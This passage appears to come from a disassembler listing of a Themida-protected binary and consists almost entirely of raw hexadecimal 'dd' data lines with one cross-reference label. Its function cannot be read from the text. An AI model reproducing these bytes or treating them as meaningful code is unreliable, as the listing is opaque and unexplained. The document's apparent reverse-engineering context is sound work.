0B0000000h, 0F67F5D3Bh, 8A7B7F38h, 24F49CA6h dd 66E2348Ch, 0FFDCB4BFh, 480AA595h, 12CE906h, 0F88B0000h dd 852900B0h, 6483035h, 958970E6h, 6482AB9h, 606071E4h dd 880Fh, 858B0000h, 64826CDh, 95296161h, 64821E1h, 830F613Ch dd 0FAh, 24AD8D89h, 0B60F0648h, 3FB960C8h, 66405B20h, 0BA61C18Bh dd 6, 8D8D09h, 0C18B0648h, 8904E8C1h, 481BADB5h, 0E2F76606h dd 799D8B60h, 8B06482Ch, 4809C99Dh, 0C82B6106h, 1D39BD8Bh dd 85890648h, 6481BE5h, 0BF66D18Bh, 0A7E9F49Ah, 0F000000h dd 68Dh, 2DBD3100h, 8B064821h, 554C5085h, 0B5296047h, 6480629h dd 0F43BA66h, 7C08361h, 10C59D8Bh, 0C0830648h, 9DBD8B00h dd 3B06481Bh, 30830FD0h, 0F000000h, 682h, 199D0300h, 0E906482Eh dd 5Eh, 0DE8h, 0FD4A9100h, 0AC862EF6h, 0A09E05D2h, 800F723Eh dd 6, 0F19D89h, 8B5B0648h, 0FFFFFF8Dh, 45B509FFh, 8306482Bh dd 840F01E1h, 2Ah, 68C0Fh, 0BD8B0000h, 64825F9h, 0FFFFA583h dd 8BFEFFFFh, 4819559Dh, 50958906h, 2947554Ch, 482C9D85h dd 0E906h, 0B58D0000h, 64C72ABh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 18h, 3BC35545h, 22589EADh, 6850Fh dd 8D890000h, 6480A65h, 0BD89006Ah, 648259Dh, 306195FFh dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0CF0EC2C3h, 66153110h, 6B9AEB81h, 0EFAB9h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 0DF8B6660h, 50FCE183h, 0FC5FD98Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0A7C35141h, 0DBFD6126h dd 4880BB66h, 6AC02BF8h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 1AA8C350h, 8B66EF80h dd 68DEBFF9h, 0BA7999h, 0E9000000h, 0Dh, 42957138h, 5510F34Ch dd 0F0807573h, 0C233ADE1h, 0D003E8D1h, 7504E983h, 0D9BD89F4h dd 6606480Ah, 0D0577BFh, 88h, 27B19D03h, 958B0648h, 6480A19h dd 6341BB53h, 0BB5F1DA2h, 48655870h, 0F358D8Bh, 6A0648h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0FDCC82C3h, 6AAABB58h, 0BD0B1D6Bh, 6482AB5h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0D7245DC3h dd 3A471BC5h, 86BD5BBh, 53006A6Bh, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 662D85A8h, 215CF81h, 0BD83BEB3h dd 64819A5h, 87840F00h, 29000000h, 482EDD9Dh, 14E906h dd 7D300000h, 0BAE18B82h, 4CCD5DD1h, 6F139AC4h, 0DBD7A22h dd 0B84762h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 7DD6C355h, 86C0EAD8h dd 5D959ADEh, 4B648D8Dh, 0BD090648h, 64827DDh, 6AE1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 18F866C3h, 66338215h, 0B589DF8Bh, 648310Dh, 30759D89h dd 0BD830648h, 6482425h, 17840F00h, 0E9000004h, 0Ah, 1D195246h dd 98FE002Ch, 0BD83669Dh, 6482425h, 16840F01h, 83000004h dd 482425BDh, 860F0306h, 3D3h, 29BD8B60h, 8B064801h, 481569B5h dd 0DC8A6106h, 9E960h, 0F1E80000h, 730BE397h, 660FCF53h dd 6AD98Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 16F994C3h, 0EECFACD9h, 6860Fh, 0BD230000h dd 64825D1h, 6A04E180h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0B3C1C352h, 0D49C869Eh dd 5CE4CAB0h, 5E8h, 0EFCFB300h, 8B500F1Fh, 4814ADBDh, 0A5F5F06h dd 2E840FC9h, 66000001h, 65DDF381h, 2385858Bh, 85330648h dd 6482AC9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 7CC35343h, 203C3F12h, 7E6A2F5Ah, 0CFBB6690h, 239050D5h dd 482DA1BDh, 66006A06h, 4E8F98Bh, 0FF000000h, 50001F03h dd 66525052h, 0FCD3FBBh, 0F585A31h, 17A7BB31h, 585A2B89h dd 8BDBB350h, 66042444h, 8BFB8Bh, 0F38B6660h, 0C58A5250h dd 0AE8310Fh, 9000000h, 0AA3CE9B0h, 24D5B0C5h, 585A5ECFh dd 24448961h, 6800F04h, 53000000h, 0BB7BF66h, 6A585Bh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 4EF007C3h, 0F00750E4h, 820FE44Eh, 3, 89D8BF0Fh, 4822459Dh dd 195FF06h, 6A06481Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 9FB4C351h, 901315CBh dd 2C8589E4h, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D3F1C357h, 1FCCE47Ah dd 0E96AFE42h, 1AFh, 5B09F9BFh, 24858B43h, 8B064BB9h, 480009BDh dd 6890F06h, 8B000000h, 482A99BDh, 1800C706h, 0E8000000h dd 13h, 0BAA86F79h, 0EB6D19C2h, 8EB5E6FCh, 28BA4E2Eh, 2976508Dh dd 482D298Dh, 0B58B5F06h, 64BB928h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0D3C35242h, 8CCAE837h, 0D94EDFE2h dd 0D9218BBh, 0DF8B663Ah, 2BF1858Bh, 6A0648h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 0F8C881C3h dd 0B70F6F9Ah, 6A0689FFh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 7BFFC350h, 1372970Ah dd 0E7A1D07h, 85858BF9h, 3064823h, 482111BDh, 0E9BD2906h dd 8906480Dh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 50F56EC3h, 3489FB8Bh, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0FCB48150h, 0B924B5FFh, 0FA8B064Bh, 8594F568h, 0D98B6696h dd 0A240481h, 6A69996Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0C0F9C352h, 890D1A3Fh dd 2C858DEAh, 6A064BB9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0D0FAC357h, 0A71E008Ch dd 894E49E0h, 481B2D8Dh, 69858906h, 8B064800h, 480AF9BDh dd 8B605006h, 535250CEh, 57310F5Eh, 61585A5Eh, 0F240489h dd 86h, 195FF00h dd 6106481Ch, 0C71BD8Bh, 85C70648h, 6482425h, 3, 6840Fh dd 9D2B0000h, 6480A31h, 0B92CBD83h, 0F00064Bh, 3E84h, 11E900h dd 0E0E90000h, 0F2EAD2BBh, 4F4F9137h, 1E27839Dh, 0E9620C9Ch dd 3Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh dd 5EC35141h, 0F50E2815h, 50666E8Eh, 110C30h, 0C1011144h dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h dd 4300111h, 4E98311h, 0EBE775h, 0BD89C08Bh, 6481A9Dh dd 11E9h, 32C0600h, 51918177h, 99FC2B8h, 2A25527Ah, 0BD8330C5h dd 6482425h, 28850F03h, 1000004h, 48062D8Dh, 2CBD8306h dd 64BB9h, 415840Fh, 0FE8B0000h, 0B92CB5FFh, 6A064Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0BBB88AC3h, 24DBCC6Ch, 0E3595FFh, 6A0648h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0F7836DC3h dd 8B0A814Eh, 4BB920B5h, 0C7DE8B06h, 1000106h, 0E9B50900h dd 96064826h, 2840Fh, 0DFB30000h, 0DF8B5250h, 0B589965Bh dd 6480E39h, 2D09BD8Bh, 0B5FF0648h, 64BB92Ch, 8E9h, 0DFAE8000h dd 2878487Ah, 5995FFDBh, 6A06481Dh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 102CC351h dd 269E5314h, 0FCFCA8FAh, 0B920B58Bh, 0E7BB064Bh, 8B0BCE89h dd 48104985h, 0B9952906h, 89064806h, 0C486h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0E4836CBEh, 9509C337h, 648104Dh, 2591BD0Bh, 958B0648h dd 6480A19h, 6FC88060h, 22859589h, 83610648h, 9D8B04C2h dd 6480459h, 5BFC8A50h, 6A205089h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8D6FC353h dd 4BCE0985h, 0C99D8B06h, 89064809h, 0B886h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0F46FB5A1h, 0BF0FC389h, 0F006AFFh, 86h, 2CB5FF00h, 6A064BB9h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 8327C351h, 0FFFE8A71h, 4823E195h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8166CF06h, 29E757EFh, 482545BDh, 96DC8A06h, 0E026BB57h dd 505F0695h, 24FE5CBFh, 9589960Fh, 6480E91h, 0B92CB5FFh dd 0BD8B064Bh, 648093Dh, 0E2D95FFh, 6A0648h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 803861C3h dd 6774E65Dh, 818589DEh, 274462CFh, 0A1BD837Fh, 6481Ch dd 6D840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 79E638C3h, 11E9F7h, 0CCEA0000h dd 47CEA425h, 1A4D82F7h, 0B1E13073h, 0F4F8345h, 0C8Ch dd 5E800h, 8B030000h, 0F5BBD320h, 6650505Fh, 5F463ABBh dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0FFCFC355h, 4BB92CB5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0AF6C8A19h, 271995FFh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0E3BE32C3h, 1071CDA0h dd 9CC12E3h, 4831118Dh, 9D8BF806h, 6481EA9h, 0B92CB5FFh dd 6A064Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 8E7A9DC3h, 4840Fh, 0BF660000h, 95FF7521h dd 6480B41h, 9E8h, 0D697CE00h, 9AAE9575h, 0BD8B20C5h, 6480A15h dd 0CDBD835Bh, 206480Ch, 7A840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 0F25B83C3h dd 0B30DAEDEh, 10E9ECh, 12C80000h, 0C3FB4873h, 2034BA42h dd 917644A2h, 858BAB78h, 6480FD5h, 0D79B589h, 0C60648h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 25DEAB2Eh, 0DA52C1EEh, 0B060D7E8h, 4880F39h dd 66000000h, 61C64EBFh, 0E6985C7h, 648h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0D51FD5C3h, 576C76A9h, 11E9h, 66BD3D00h, 0F9CA4FE6h dd 0F132DA3Ch, 0DA8485D9h, 0E95B4AEAh, 0FFFFF35Dh, 0E668BF66h dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 0D12B9DC3h, 880F7Ch, 8D000000h, 4832FD85h dd 0DEBB6606h, 5E8909Eh, 24000000h, 8279EBD8h, 0BE3BB66h dd 1CBF505Fh, 9049584Eh, 4812C781h, 6A69CDh, 0F8E38166h dd 6A006A78h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 5AB8C357h, 212D8D31h, 8B660648h dd 0BE858DD8h, 1064CFFh, 4809D1B5h, 5C08306h, 5810Fh, 0C3BF0000h dd 904E3AC9h, 86BE6660h, 0EE93Dh, 1F0F0000h, 5696BE6Fh dd 6B5ED7D7h, 78AC9441h, 0BB665061h, 8990961Eh, 48210DB5h dd 1006A06h, 481E31BDh, 8B006A06h, 482739BDh, 7D95FF06h dd 6A064827h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0A72DC353h, 0DBAE84C9h, 89CD51ACh dd 48050985h, 148D8D06h, 0E9064B9Ch, 12h, 0C4A1D45Bh, 45A3A059h dd 0C09650EDh, 65EC1672h, 0D1FFA62Dh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 29C35545h, 0E5EFF549h, 810FFFh dd 0BF000000h, 35B5F454h, 1949BD83h, 0F010648h, 8485h dd 599D8B00h, 6A06482Eh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 850F90F1h, 6, 0DCBF6653h dd 0E8505F08h, 6 dword_58CCE0 dd 0F3C37A50h, 8E9A7D9h, 4D000000h, 0E9879B1h, 5FF0A8E5h ; DATA XREF: Themida_:0053F7E4o dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C4242C21h, 75BD8932h, 8106482Ah, 3EEB39C7h dd 0E195FF56h, 29064823h, 48102585h, 0DD3E906h, 0E80000h dd 5D000000h, 0FFC8ED81h, 0FA8B064Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 96C35343h, 59DFA3B2h, 9744858Dh dd 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 7E8AC3C3h, 8BDADB2Ch, 481C05BDh, 840F5006h dd 0Ch, 7E9h, 0FEB9C700h, 0F847F917h, 80240489h, 0FF642FE7h dd 35h, 459D8B00h, 0E806482Dh, 14h, 828E018Ch, 0BB987C3Eh dd 606541EAh, 842B5A54h, 0A9379AB0h, 269D9509h, 645F0648h dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 17DA9C3h, 3E4D7E0Dh, 9D090815h dd 6481D99h, 0A2D85FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 750CE5C3h, 9DB5BF83h dd 605794E1h, 0EE3AD981h, 0D1807705h, 6A5B61F7h, 5820FFFh dd 0BF000000h, 18A6A97Bh, 489B5FFh, 0EB810648h, 7DB2B8C8h dd 95FF6BB3h, 6480AA5h, 14CE9h, 0EDB52900h, 0BB06482Bh dd 2C6F6AD8h, 5E900B0h, 1C000000h, 0A9B294BFh, 9AB770E6h dd 0BD8B71E4h, 6481E71h, 830F613Ch, 121h, 0D98B6651h, 0FBB70F5Fh dd 60C8B60Fh, 258D29F9h, 61064828h, 15890F60h, 0E8000000h dd 0Fh, 0F8014E77h, 70F745EDh, 462994ACh, 585BED1Eh, 6D7FE381h dd 0BA6160A2h, 6, 66C18BF9h, 442AC381h, 958D8952h, 5F064805h dd 6604E8C1h, 576BDB81h, 10E8h, 702AF00h, 418EDED2h, 85CB2FA1h dd 2FB561EEh, 665FF81Fh, 0EF81E2F7h, 4902A298h, 8BFCC82Bh dd 0AD9D31D1h, 0E9064819h, 9Dh, 28F0Fh, 0FD8A0000h, 4E49858Bh dd 870F4400h, 3, 66BDD780h, 0C083DE8Bh, 7E907h, 2A4D0000h dd 8A47AB3Dh, 0B99D8BCAh, 8306480Fh, 13E800C0h, 0E000000h dd 96D8C9D3h, 5DADA8F8h, 0ECA2B831h, 0A67F8D51h, 8F0FBEBFh dd 0 dd 0FD03B5Bh, 1183h, 0B5958900h, 0E9064815h, 39h, 1A699D8Bh dd 8D8B0648h, 0FFFFFFFFh, 0E183FAB3h, 22840F01h, 66000000h dd 832AB4BBh, 0FFFFFFA5h, 9D89FEFFh, 648196Dh, 4E499589h dd 95894400h, 6480CD1h, 0E9h, 0A5B58D00h, 0F064C81h, 585h dd 0C7816600h, 0D381CE97h, 704F48F7h, 14E9006Ah, 34000000h dd 1B93F877h, 0D4565545h, 0AC99F1F2h, 75BCC98Fh, 0FF06F2B3h dd 48306195h, 53BF6606h, 0F02B9F9h, 0BF0F0000h, 831CB7FAh dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 7D32AEC3h, 0FCC3B39Ch, 1DF59D23h, 0B80648h dd 89000000h, 480909BDh, 0BA06h, 0DE90000h, 0 dd 0B0D9C2FAh, 0A01E2319h, 8EF141BEh, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0E2C35141h, 61414EB7h, 59D8Bh, 6A0648h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 150533C3h, 76DC6F6Dh, 880Dh, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0A34180ACh dd 0E803DDF4h, 0Ah, 1B644986h, 0D7517604h, 9D8B9B68h, 6482BC9h dd 19958B5Fh, 6606480Ah, 73CBF381h, 23C99589h, 8D8B0648h dd 6480F35h, 8B50F98Bh, 3188BC2h, 8B188BC1h, 3E8D1C1h dd 58188BC2h, 30D19589h, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 813A0FC3h, 1589B529h dd 8E80648h, 2000000h, 0A71BE593h, 66DB4997h, 0DFDBCB81h dd 0A5BD835Fh, 64819h, 45840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C683C6C3h dd 14166A77h, 0B832D109h, 0 dd 7B29C381h, 8D8D31E3h, 6484B64h, 18F38166h, 56E1FFE9h dd 14F98501h, 835F0648h, 482425BDh, 840F0006h, 498h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0ADC35343h, 48B3B783h dd 2425BD83h, 0F010648h, 48684h, 499D8B00h, 8306480Ch dd 482425BDh, 860F0306h, 43Dh, 1FB9BD0Bh, 8E90648h, 0FF000000h dd 124B4D8Dh, 6036CF04h, 3850Fh, 0B70F0000h, 0D98C66FEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 35C35343h dd 88F17311h, 0DE8D1h, 0C0FE0000h, 0C0F9464Ah, 890D1A3Fh dd 898A07EAh, 482D81BDh, 0E1805B06h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 4CD21D2Fh dd 6CA23863h, 9D0BDA87h, 64814ADh, 0CDB53160h, 8906482Dh dd 48303D9Dh, 8B666106h, 0FC90AFAh, 13F84h, 10E900h, 0A9300000h dd 0DF4D599Bh, 5B8046C3h, 21E8B419h, 8166C646h, 8B0B06D3h dd 48238585h, 13E806h, 77380000h, 9ED7179Ch, 0ADC9AE82h dd 0C29B5CB4h, 47D48170h, 28D0FADh, 0B3000000h, 85335BAEh dd 6482AC9h, 28B19D8Bh, 0F500648h, 882h, 2880F00h, 60000000h dd 24048961h, 13E9h, 0D7245D00h, 3A471BC5h, 0AB6DD989h dd 92720457h, 309C82F4h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0D0FC1DC3h, 5E03859Eh dd 24068BFh, 9E959B9h, 52000000h, 6B79A2FFh, 0BB8B4C7Ah dd 0BF243481h, 6A59A601h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 47EEC353h, 27388ED7h dd 0DE9h, 0C837B300h, 0DB36965Eh, 93804E94h, 95FFB163h dd 6481C01h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 49C35343h, 8166609Dh, 0E9E4EAC2h, 0Bh, 8615B4C4h dd 9F112919h, 61D3994Eh, 0B92C8589h, 0E381064Bh, 1ACEBF38h dd 98D9D8Bh, 0BEE90648h, 66000001h, 5A57CB81h, 0B924858Bh dd 6A064Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 83B9A2C3h, 0B78B4823h, 0C7998701h, 1800h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0B0739AA4h, 2E049393h, 0EA18D89h, 0B58B0648h dd 64BB928h, 0F6DF8166h, 8890F5Bh, 52000000h, 8F0Fh, 8B5F0000h dd 482BF185h, 5DBF6606h, 0B0689ADh, 4829199Dh, 8BDD8A06h dd 48238585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 0D810C084h, 0E9044689h, 14h, 84572B2Bh dd 978D792Ch, 0A0730A8Fh, 1C76193Dh, 0F288FCB5h, 8806BB50h dd 34895158h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1504h, 0C3574700h, 0BF6610B8h, 0B5FF1197h, 64BB924h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 3DC35141h dd 0A7D7BB66h, 483307BBh, 64EB6816h, 0B760506Fh, 61F88B74h dd 14243481h, 6A507067h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 17EDC356h, 533F79DEh dd 43EE6CBFh, 858D5F3Ah, 64BB92Ch, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 90C35141h, 895012A5h, 66602404h dd 8D89FE8Bh, 64830A9h, 0B8BE6061h, 571C7E29h, 2B7D8529h dd 615F0648h, 1C0195FFh, 870F0648h, 15h, 10E9h, 9D1D1000h dd 0AE391619h, 9832CB76h, 150920A1h, 6A61B9h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 6D5BE4C3h dd 61A1BB25h, 8B3779A6h, 482CF99Dh, 0BE806h, 1FB40000h dd 456347FAh, 2F89F8ADh, 0C75FF963h, 48242585h, 306h, 0F59D2B00h dd 0F064806h, 0BD83F8BFh, 64BB92Ch, 46840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 99B9C356h, 0B7DE2B64h, 3AE9F3h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h dd 3DD8F6C3h, 0C305081h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 64C35040h, 51537D33h, 0F7718AAh, 881h dd 2850F00h, 60000000h, 0E1BD8B61h, 8306480Dh, 482425BDh dd 850F0306h, 430h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 79C35040h, 935D4744h, 0E99D892Eh, 8906481Dh dd 481E85B5h, 2CBD8306h, 64BB9h, 3F6840Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0E07EF6C3h, 8D8589C6h, 0FF064824h, 4BB92CB5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 1585200Dh, 0E2A520EDh, 3595FFF9h, 8B06480Eh, 481EF5BDh dd 20B58B06h, 0B3064BB9h, 106C73Bh, 89000100h, 4808B19Dh dd 85858906h, 96064828h, 0E044EEBFh, 0DFB35063h, 51006A96h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 5C66030Dh, 0E812372Dh, 7, 5FE9256Bh, 0E9C21271h, 7 dd 99D39EB6h, 5B917F6Eh, 0B92CB5FFh, 0AE9064Bh, 0C6000000h dd 47523CB1h, 0E72D8C4Bh, 5995FFEEh, 6606481Dh, 0B58BF98Bh dd 64BB920h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0A9C35141h, 122069Ah, 4825D1BDh, 49858B06h, 0F064810h dd 0DB81F9BFh, 7292CD1Bh, 0C48689h, 0D7810000h, 1167A202h dd 518D0153h, 5F064810h, 0A19958Bh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0C4B7F8C3h dd 40BA36A7h, 0F95D6064h, 5C1BD8Bh, 0C2830648h, 89CFB304h dd 6A2050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 8DD0CCC3h, 4BCE0985h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 160A18E7h dd 8F3DE6F4h, 840F8D30h, 1, 0B88689F5h, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0CD46C352h, 1B464C47h, 66940CCEh, 0B07DF781h, 0D5BF006Ah dd 0FF0BCFC3h, 4BB92CB5h, 10E806h, 6F70000h, 0CD8588A5h dd 0D6586284h, 7016EEE0h, 0CE90F75h, 0E6000000h, 0C109A45Eh dd 4444285Bh, 5B235220h, 23E195FFh, 14E80648h, 0EE000000h dd 5D7F4ACBh, 5AC9F5DBh, 44F1570Eh, 6BD8A4FFh, 609C172Bh dd 8FE2CE81h, 8A0F732Fh, 0 dd 0F505B61h, 28Ch, 89DA8B00h, 6A2434h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 660498C3h dd 0FF28FCBFh, 4BB92CB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8B2EA93Dh dd 2D95FFF9h, 5006480Eh, 319D8B5Fh, 83064814h, 481CA1BDh dd 840F0006h, 36h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 6EC35141h, 3156A150h, 4823E585h, 0F965B06h dd 8Fh, 0BB665000h, 6696F4BEh, 0B5FFFA8Bh, 64BB92Ch, 271995FFh dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 9D013EC3h, 64825EDh, 0A5853360h, 89064824h dd 480025B5h, 0B5FF6106h, 64BB92Ch, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0F1C35747h, 7B3A095Fh, 7C9B8627h dd 0B4195FFh, 6A0648h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 17A9EC3h, 837BEC6Ch, 480CCDBDh dd 840F0206h, 68h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 20C35747h, 8736EA7Eh, 0AE84EB4h, 30000000h dd 2F725B03h, 0DB2776D2h, 30D78037h, 399D8B5Fh, 8B06482Eh dd 480FD585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1604h, 0C3514100h, 0C65502A5h, 95890000h, 6482AB9h dd 0E6985C7h, 648h, 9D8B0000h, 6480081h, 0FFF35AE9h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 45F24038h, 0BF0FC18Bh, 0FD858DF8h, 51064832h, 9E9h dd 0A3B4EA00h, 1C143BF9h, 505F77D3h, 5F5B5056h, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B41C352h, 89006ADEh, 482EA195h, 8D006A06h dd 4D0F4985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0EE2D55Eh, 9141DE2Fh, 0C0834191h dd 51006A05h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 0F5D10209h, 2F999D8Bh, 0BF660648h, 0F501B5Bh dd 78Fh, 8B666000h, 61F88BCBh, 23240489h, 481BC99Dh, 6A006A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 8A42C356h, 0E6BC8467h, 8ABBF6F5h, 6A12A464h dd 0AE900h, 0F8710000h, 4533ACFDh, 0B0A4D7FDh, 0EE9h, 0B7A1F900h dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 48277D95h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 1D056BB2h, 0E881AFE0h, 12h, 0D1600813h, 7126F7CBh, 44D79DBBh dd 2EF02795h, 0C2B71258h, 148D8D5Fh, 0E8064B9Ch, 9, 0B318B6E4h dd 53714E27h, 0C19D8925h, 5F064824h, 0CFBBD1FFh, 83550FD9h dd 481949BDh, 